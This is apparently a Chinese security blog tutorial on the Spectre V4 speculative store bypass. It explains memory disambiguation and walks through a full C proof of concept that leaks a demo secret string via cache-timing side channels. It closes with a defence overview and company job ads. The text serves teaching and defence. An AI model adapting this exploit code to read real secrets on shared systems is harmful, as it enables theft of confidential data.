STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
NO.1 Spectre V4:基于内存消歧
预测失误的瞬态执行漏洞
在本文中,我们将为读者介绍Spectre V4漏洞的原理,并通过分析其PoC代码,以及相应的防御机制来帮助大家理解该漏洞。
NO.2 关于Spectre V4
Spectre V4是基于推测执行机制的Spectre 漏洞的一个变体,它的主要特点是利用内存消歧器的错误预测,来触发瞬态执行访问机密数据。当处理器发现预测失误后,将撤销瞬态执行结果,使得在架构层面看不到瞬态执行的结果,但是瞬态执行会在微架构层面留下的痕迹,攻击者可以通过微架构侧信道恢复机密数据。
既然Spectre V4漏洞与内存消歧密切相关,那么,下面我们就先来了解一下这个概念。
NO.3 内存消歧
表面上看,程序是按照指令的编写顺序来先后执行的,但是,这只是一个假象:在处理器内部,很多时候指令并非按照其编写顺序执行的,只是在乱序执行之后,会进行相应的检查,如果与顺序执行的结果没有冲突的话,则对指令结果进行重新排序,并提交到架构层面。所以,我们看起来程序是顺序执行的,主要因为微架构的操作对程序员是透明的。
在本文中,我们主要关注内存访问指令的乱序执行。内存访问指令通常被称为LOAD/STORE,分别用于从内存读取数据和向内存中写入数据。对于x86处理器来说,通常会在指令处理流水线的早期阶段将内存读写操作转换为等价的MOV操作。
请看下面的简单示例,其中STORE指令将值567写入内存地址0x1000处。随后的第二个STORE指令将在地址0x1000处(通过相应的LOAD指令)找到的值(逻辑上讲,这个值应该是567,但是,在瞬态执行的情况下,这个值可能就不是567了!)复制到内存地址0x2000处。在执行两个STORE指令后,地址0x1000和0x2000处的两个内存单元必须包含同一个值567。相应的伪代码如下所示:
STORE 567, 0x1000
LOAD [0x1000], register
STORE register, 0x2000
语法上看,上面的指令非常简单,但到了CPU的流水线中,事情就变得复杂了:虽然这两条存储指令可以同时处于流水线的不同阶段,但它们对内存和/或寄存器的影响只有在它们退出(即离开流水线)后才会写入系统。这意味着第二个STORE指令无法看到缓存或内存地址0x1000处的值变化,因为第一个STORE指令可能还没有离开流水线。
对于这种对内存先写后读的操作,通常需要注意它们之间的依赖关系,比如,是否是对同一个地址的读写操作。对于上面的例子,前面是一个STORE操作,后面是一个LOAD操作,操作的是同一个内存地址,那么,处理器就会直接将写入操作中的值567传递给读取指令,而无需从内存中读取这个值,这就是所谓的存储到加载转发功能。
下面,我们稍微改一下我们的示例代码:
STORE 567, *ptr
LOAD [0x1000], register
STORE register, 0x2000
现在,第一个STORE操作的写入地址被保存在一个指针变量中,也就是说,为了获得写入地址,需要访问内存。我们知道,访问内存是比较耗时的,那么,访问内存的过程中,处理器是傻等,还是提前执行后面的指令?很明显,傻等是不可取的,但是,如果提前执行依赖于前面的写内存操作的读内存操作的话,也是不合适的。
这时,内存消歧器就派上用场了。内存消歧器用于预测(实际上,其中猜测的成分还是很大的)哪些LOAD指令不依赖于前面的任何STORE指令。当内存消歧器认为一个LOAD指令没有这样的依赖关系时,该指令就会从L1数据缓存中获取其数据。也就是说,LOAD指令绕过前面的STORE指令,提前执行了。当前面的STORE指令获取到写入地址后,会对预测结果进行验证。如果发现预测有误,则重新执行LOAD指令以及所有后续指令。
NO.4 Spectre V4利用模式
Spectre V4漏洞的利用过程,与其他Spectre 漏洞的利用过程基本一致:
· 触发瞬态执行,读取机密数据并进行编码;
· 利用侧信道,恢复机密数据。
这里主要的区别在于触发瞬态执行的方法:在写后读的依赖关系中,如果内存消歧器认为LOAD指令不依赖于前面的STORE指令,那么,LOAD指令将提前执行,并返回STORE操作完成之前的值,具体如下面的代码所示:
pointer = secret_ptr; // 初始化,让pointer指针保存我们要读取的机密数据的地址。
pointer = sane_ptr; // 修改pointer指针的值,使其指向正常的数据。
//注意,这里应该将pointer指针的地址处理一下,使得
//处理器需要花些时间才能找到其地址。
value = *pointer; //利用pointer指针读取内存数据(这条语句和下面的语句将执行
//两次:瞬态执行时读取的是机密数据,
//正常执行时读取的是正常数据)。
cache_trace = array[value]; // 将机密数据编码为数组下标
如果一切都按顺序执行,*pointer对应的是正常的数据。然而,在攻击成功的情况下(存储指令长时间取不到写入地址,并且处理器误以为加载指令与前面的存储指令没有依赖关系),value = *pointer;语句中读取指针变量pointer的操作(*pointer,这相当于先读取指针变量pointer的值,然后将这个值作为地址,读出该地址处的内存值),将先于前面对该指针变量进行赋值的操作(即pointer = sane_ptr; )被执行。这时,这个指针变量的值,还是初始化时的值(secret_ptr,机密数据的地址),所以,在瞬态执行过程中,通过这个指针变量读取的是机密数据。当处理器后来发现存储指令和加载指令存在依赖关系时,会撤销瞬态执行的结果,但是为时已晚,因为机密数据已经在缓存中留下痕迹。攻击者可以利用这一点恢复出机密数据。
NO.5 PoC分析
下面,我们开始详细分析该漏洞的PoC代码。
头文件与全局变量
#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
x86intrin.h用于声明编译器实现的内部函数。其中,某些函数的功能与一些汇编指令相对应,比如rdtscp和clflush指令(这两条指令的功能将在后文中加以介绍);这样的话,当我们想要使用这些汇编指令时,就可以像调用函数那样使用它们,而无需采用内联汇编的形式了。
#define LEN 16
#define MAX_TRIES 10000
#define CACHE_HIT_THRESHOLD 100
另外,这里还定义了一些常量,LEN表示保存机密数据的字符数组的长度;MAX_TRIES表示对于每个字符,需要读取的次数;CACHE_HIT_THRESHOLD是一个时间阀值,低于这个值,就认为缓存命中。
unsigned char** memory_slot_ptr[256];
unsigned char* memory_slot[256];
unsigned char secret_key[] = "PASSWORD_SPECTRE";
unsigned char public_key[] = "################";
uint8_t probe[256 * 4096];
volatile uint8_t tmp = 0;
之后,定义了多个数组,其中,secret_key数组保存要读取的机密数据,memory_slot指针数组的第一个元素memory_slot[0]用于保存机密数据的地址,memory_slot_ptr指针数组的第一个元素memory_slot_ptr[0]用于保存memory_slot指针数组的起始地址。
Probe数组可以看成是一个二维数组,共256行,每行4096个元素。该数组主要用于编码机密数据,也就是如果某个元素缓存命中,那么,该元素的行号就是瞬态执行过程中越权访问的机密数据(因为这里每次只读取一个字节,而一个字节对应256种取值,正好对应于该数组的256行)。
变量tmp用于保存越权访问的数据,如果单纯读取数据,而不做任何处理,读取操作就很容易被编译器优化掉。
主函数
下面是主函数代码:
int main(void) {
for (int i = 0; i < sizeof(probe); ++i) {
probe[i] = 1; // write to array2 so in RAM not copy-on-write zero pages
}
attacker_function();
}
在这里,首先为probe数组的元素赋值,执行这个for循环后,该数组的所有元素的值都变为1。
之后,就开始发动瞬态执行攻击,这个任务主要由attacker_function()函数完成。
victim_function():完成瞬态读取和编码的函数
void victim_function(size_t idx) {
unsigned char **memory_slot_slow_ptr = *memory_slot_ptr;
*memory_slot_slow_ptr = public_key;
tmp = probe[(*memory_slot)[idx] * 4096];
}
现在,我们先看看函数体中的第一句:
unsigned char **memory_slot_slow_ptr = *memory_slot_ptr;
首先,它定义了一个指针变量memory_slot_slow_ptr,并将*memory_slot_ptr赋值给这个指针变量。那么,现在*memory_slot_ptr是什么呢?它实际上就是memory_slot_ptr[0]的值。那么,memory_slot_ptr[0]的值现在又是什么呢?它实际上就是memory_slot数组的起始地址0x509180。
那么,现在memory_slot指针数组的第一个元素的值指向谁呢?指向保存机密数据的字符数组secret_key的起始地址(0x404010,见下图)。
执行完函数体中的第一句后,*memory_slot_slow_ptr(也就是指针数组memory_slot第一个元素),保存的是字符数组secret_key的起始地址。
该函数体中的第二句,也就是:
*memory_slot_slow_ptr = public_key;
的作用,就是让原先指向secret_key(其起始地址为0x404010)的指针变量*memory_slot_slow_ptr(即memory_slot[0])变为指向public_key(其起始地址为0x404030);换句话说,要对指针变量*memory_slot_slow_ptr(即memory_slot[0])指向的内存单元进行写操作,以覆盖原来的值。这就对应于前面所说的STORE指令,而后面的*memory_slot则相当于前文所说的LOAD指令。这两个操作都是针对同一个内存地址,从上图可以看出该地址是0x509180,也就是指针变量memory_slot[0]的地址。但是,前面的STORE指令是通过访问内存中的指针变量(memory_slot_slow_ptr位于内存中)的值来确定写入地址的,这个过程比较费时间,而后面的LOAD指令则是使用数组名称,即地址(可以看作立即数,位于处理器中)来确定读取地址的,所以,内存消歧器会认为两者没有依赖关系,可以让LOAD指令推测性执行(也就是绕过前面的STORE指令,提前执行后面的LOAD指令),这时内存中的0x509180处存放的仍然是secret_key数组的地址,所以(*memory_slot)[idx]读取的仍然是原来的secret_key数组的元素。
这个函数体中的第三句,即:
tmp = probe[(*memory_slot)[idx] * 4096];
用于将读取的内容编码为相应数组元素的行号,以便将来通过侧信道技术恢复读取的内容。
这里由于涉及指针概念,看起来可能比较复杂。不过,如果弄清楚memory_slot本身是一个地址,而memory_slot_slow_ptr本身是一个存放地址的变量,并且*memory_slot和*memory_slot_slow_ptr代表的是同一个指针变量,并且把它看作“Spectre V4利用模式”一节中的指针pointer变量,将两节内容结合起来,所有问题就会迎刃而解。
attacker_function()函数:瞬态攻击引擎
该函数首先定义了一个字符数组,用于保存读取的机密数据。
void attacker_function() {
char password[LEN + 1] = {'\0'};
然后,根据机密数据的长度,每次读一个字节:
for (int idx = 0; idx < LEN; ++idx) {
每次读取一个字节的机密数据时,都要将这个字节所有256种可能取值的命中次数保存到一个名为 results的数组中:
int results[256] = {0};
unsigned int junk = 0;
上面的junk变量的作用,主要是参与某些运算,防止代码被优化掉。然后,对一个字节的机密数据,读取10000次,然后,统计命中率最高的可能取值。这样,可以最大可能的消除噪声的影响。
for (int tries = 0; tries < MAX_TRIES; tries++) {
*memory_slot_ptr = memory_slot;
*memory_slot = secret_key;
进行每次尝试前,都会让memory_slot_ptr指针数组的第一个元素指向memory_slot数组的起始地址,然后,让memory_slot指针数组的第一个元素指向要瞬态读取的机密数据的起始地址,即secret_key。
_mm_clflush(memory_slot_ptr);
for (int i = 0; i < 256; i++) {
_mm_clflush(&probe[i * 4096]);
}
然后,将用于编码瞬态读取的一个字节的机密数据的probe数组的第一列元素,全部从缓存中逐出,使其只能从内存中读取。这样的话,对于瞬态执行过程中读取的元素,会被重新带入缓存中,所以,在后面测量第一列元素的读取时间时,它的用时就会低于给定的阀值。
_mm_mfence();
上面的这个函数的作用,是让内存读写指令按顺序执行。下面,开始调用完成瞬态执行的函数:
victim_function(idx);
上面的函数在瞬态执行过程中,读取的机密数据作为probe数组第一列元素的行号,来访问相应的数组元素。所以,接下来,我们只要读取该数组第一列的所有元素,并记录它们的用时:
for (int i = 0; i < 256; i++) {
volatile uint8_t* addr = &probe[i * 4096];
uint64_t time1 = __rdtscp(&junk); // read timer
junk = *addr; // memory access to time
uint64_t time2 = __rdtscp(&junk) - time1; // read timer and compute elapsed time
对于瞬态执行过程中访问过的元素,由于其读取时间会低于阀值,所以,我们就可以通过读取时间低于阀值的元素的行号推断出该字节机密数据。注意,由于瞬态执行之后,会读取public_key数组的元素。因此,这个数组元素的值对应的行号,应该排除在外:
if (time2 <= CACHE_HIT_THRESHOLD && i != public_key[idx]) {
results[i]++; // cache hit
}
}
}
在上面的代码中,我们要注意results数组元素的下标和probe数组第一列元素的行号,与瞬态读取的机密数据内容具有一一对应的关系。下面这一句,是防止编译器对我们的代码进行不必要的优化。
tmp ^= junk; // use junk so code above won’t get optimized out
然后,找出命中次数最高的那个可能取值:
int highest = -1;
for (int i = 0; i < 256; i++) {
if (highest < 0 || results[highest] < results[i]) {
highest = i;
}
}
将命中率最高的可能取值输出,并保存到password数组中,具体代码如下所示:
printf("idx:%2d, highest:%c, hitrate:%f\n", idx, highest,
(double)results[highest] * 100 / MAX_TRIES);
password[idx] = highest;
}
printf("%s\n", password);
}
NO.6 防御机制
对瞬态执行攻击的防御方法,可以围绕以下四个方面进行:
· 限制瞬态指令的执行,或减小瞬态执行的时间窗口;
· 限制瞬态指令越权访问数据;
· 使微架构状态不受瞬态执行的影响,从而令隐蔽信道的发送端无效(无法编码);
· 降低隐蔽信道的精度,相当于降低隐蔽信道接收端的能力(无法解码)。
其中,前面两条用于防止触发瞬态执行,后面两条用于阻止侧信道攻击。
NO.7 小结
在本文中,我们为读者详细介绍了Spectre V4漏洞的原理,并通过分析相应的PoC代码来帮助大家理解该漏洞。最后,介绍了针对瞬态执行攻击的防御机制,希望对大家能够有所帮助。
RECRUITMENT
招聘启事
安恒雷神众测SRC运营(实习生) 【任职要求】
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
简历投递至
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;
3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
END
长按识别二维码关注我们